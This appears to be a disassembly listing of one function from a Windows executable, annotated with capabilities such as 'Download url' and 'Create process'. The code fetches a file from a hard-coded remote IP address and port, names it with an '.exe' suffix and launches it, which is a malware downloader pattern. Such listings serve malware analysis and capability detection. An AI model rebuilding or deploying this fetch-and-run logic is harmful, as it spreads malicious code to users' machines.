Function at 0x140001510
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x140006010]
xor rax, rsp
mov qword [rbp + 0x80], rax
xor r12d, r12d
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x10], r12
lea r8d, [r12 + 0x1d]
lea rdx, str.http:__101.43.110.177:9999_US
lea rcx, [rbp - 0x28]
call fcn.140001e90
nop
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], r12
lea rsi, [rbp - 0x28]
mov r15, qword [rbp - 0x28]
mov r13, qword [rbp - 0x10]
cmp r13, 0x10
cmovae rsi, r15
movabs rbx, 0x7fffffffffffffff
mov rdi, qword [rbp - 0x18]
cmp rdi, rbx
ja 0x140001a3c
mov qword [rbp - 0x50], 0xf
cmp rdi, 0x10
jae 0x1400015cc
mov qword [rbp - 0x58], rdi
lea r8d, [r12 + 0x10]
mov rdx, rsi
lea rcx, [rbp - 0x68]
call sub.VCRUNTIME140.dll_memmove
jmp 0x14000165e
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x140001608
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400023b0
mov rcx, rax
test rax, rax
je 0x1400019b4
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001642
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001633
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001a42
jmp 0x1400015e6
test rcx, rcx
je 0x14000163f
call fcn.1400023b0
jmp 0x140001642
mov rax, r12
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rcx, [rsp + 0x78]
call fcn.140001a50
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 3
jb 0x14000170e
lea rax, [r8 + 3]
mov qword [rbx + 0x10], rax
mov rdi, rbx
cmp rcx, 0x10
jb 0x140001697
mov rdi, qword [rbx]
lea rax, [0x1400045db]
mov r14d, 3
lea rcx, [0x1400045d8]
cmp rax, rdi
jbe 0x1400016cb
lea rax, [rdi + r8]
cmp rcx, rax
ja 0x1400016cb
cmp rdi, rcx
ja 0x1400016c3
mov rsi, r12
jmp 0x1400016ce
mov rsi, rdi
sub rsi, rcx
jmp 0x1400016ce
mov rsi, r14
lea rcx, [rdi + 3]
inc r8
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
lea rdx, [0x1400045d8]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + rsi]
sub r14, rsi
lea rdx, [0x1400045d8]
add rdx, 3
add rdx, rsi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140001727
mov r14d, 3
mov qword [rsp + 0x28], r14
mov edx, r14d
mov rcx, rbx
call fcn.140002120
mov rbx, rax
mov qword [rsp + 0x50], r12
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 4
jb 0x140001796
lea rax, [rcx + 4]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x50]
mov dword [rax + rcx], 0x6578652e
mov byte [rax + rcx + 4], 0
lea rax, [rsp + 0x50]
jmp 0x1400017b5
mov qword [rsp + 0x20], 4
lea r9, str..exe
mov edx, 4
lea rcx, [rsp + 0x50]
call fcn.140001f90
mov qword [rbp - 0x48], r12
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x38], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14000181f
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000181a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000181a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000263c
movdqa xmm0, xmmword [0x140004620]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140001871
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000186c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000186c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000263c
movdqa xmm0, xmmword [0x140004620]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
lea r8, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae r8, qword [rbp - 0x48]
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rdx, qword [rbp - 0x68]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rbp + 0x10], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
movups xmmword [rbp + 0x28], xmm0
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
xor eax, eax
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], rax
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rdx, qword [rbp - 0x48]
lea rax, [rbp - 8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140001971
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000196c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000196c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000263c
movdqa xmm0, xmmword [0x140004620]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x1400019c0
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000263c
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
cmp r13, 0x10
jb 0x140001a0a
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140001a02
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a02
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.14000263c
xor eax, eax
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.140002390
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011c0
nop
call fcn.140001120
int3